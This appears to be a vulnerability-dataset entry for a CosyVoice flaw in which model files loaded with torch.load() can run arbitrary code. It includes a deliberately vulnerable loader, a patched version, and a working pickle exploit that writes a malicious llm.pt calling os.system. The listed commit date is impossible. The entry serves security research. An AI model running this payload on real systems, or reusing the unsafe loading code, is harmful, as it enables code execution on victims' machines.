VAITP Dataset

← Back to the dataset

CVE-2026-31252

CosyVoice insecure deserialization of model files leads to code execution.

  • CVSS 5.7
  • CWE-94
  • Input Validation and Sanitization
  • Local

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its model loading component. The framework uses torch.load() to load model weight files (e.g., llm.pt, flow.pt, hift.pt) without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a malicious model directory containing specially crafted model files. When a victim starts the CosyVoice Web UI pointing to this directory, arbitrary code is executed on the victim's system during the model loading process.

CVSS base score
5.7
Published
2026-05-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
PyTorch

Solution

Set the `weights_only=True` parameter for all `torch.load()` calls that load model weight files to prevent arbitrary code execution. As of now, no official patched version has been released.

Vulnerable code sample

import torch
import os

def load_models_from_dir(model_dir: str):
    """
    Represents the vulnerable model loading component in CosyVoice.
    """
    print(f"[*] Loading models from directory: {model_dir}")

    # Define paths to model files as described in the CVE
    llm_path = os.path.join(model_dir, 'llm.pt')
    flow_path = os.path.join(model_dir, 'flow.pt')
    hift_path = os.path.join(model_dir, 'hift.pt')

    # The following lines are vulnerable.
    # torch.load() is called without 'weights_only=True', which allows
    # the deserialization of arbitrary Python objects and can lead
    # to remote code execution if a malicious .pt file is provided.
    
    print(f"[*] Loading model: {llm_path}")
    llm_model = torch.load(llm_path, map_location="cpu")

    print(f"[*] Loading model: {flow_path}")
    flow_model = torch.load(flow_path, map_location="cpu")
    
    print(f"[*] Loading model: {hift_path}")
    hift_model = torch.load(hift_path, map_location="cpu")

    print("[+] Models loaded.")
    return llm_model, flow_model, hift_model

Patched code sample

import torch
import os

def fixed_load_model_component(model_dir: str, component_filename: str):
    """
    Safely loads a model component by fixing the insecure deserialization
    vulnerability.

    The original code used torch.load(path) without restrictions. The fix
    is to add the `weights_only=True` parameter, which prevents the function
    from unpickling arbitrary Python objects, thus mitigating the risk of
    remote code execution.
    """
    model_path = os.path.join(model_dir, component_filename)

    if not os.path.exists(model_path):
        raise FileNotFoundError(f"Model component not found at: {model_path}")

    # The fix is the addition of the 'weights_only=True' parameter.
    # This ensures that only model tensors are loaded, and no arbitrary
    # code can be executed during the deserialization process.
    state_dict = torch.load(model_path, weights_only=True)

    return state_dict

Payload

import torch
import os

# This class will execute a command when it is deserialized by pickle.
# torch.load() uses pickle internally, making it vulnerable.
class Exploit:
    def __reduce__(self):
        # The command to execute on the victim's system.
        # Example: create a file '/tmp/pwned' to demonstrate RCE.
        # A real-world attacker might use a reverse shell command.
        cmd = "touch /tmp/pwned_by_cve_2026_31252"
        return (os.system, (cmd,))

# Instantiate the malicious object.
malicious_object = Exploit()

# The CVE description mentions llm.pt, flow.pt, hift.pt.
# We will create a malicious version of one of these files.
# This file, when loaded by torch.load(), will trigger the exploit.
torch.save(malicious_object, "llm.pt")

print("Malicious model file 'llm.pt' has been created.")
print("Place this file in a model directory to be loaded by the vulnerable application.")

Cite this entry

@misc{vaitp:cve202631252,
  title        = {{CosyVoice insecure deserialization of model files leads to code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31252},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31252/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::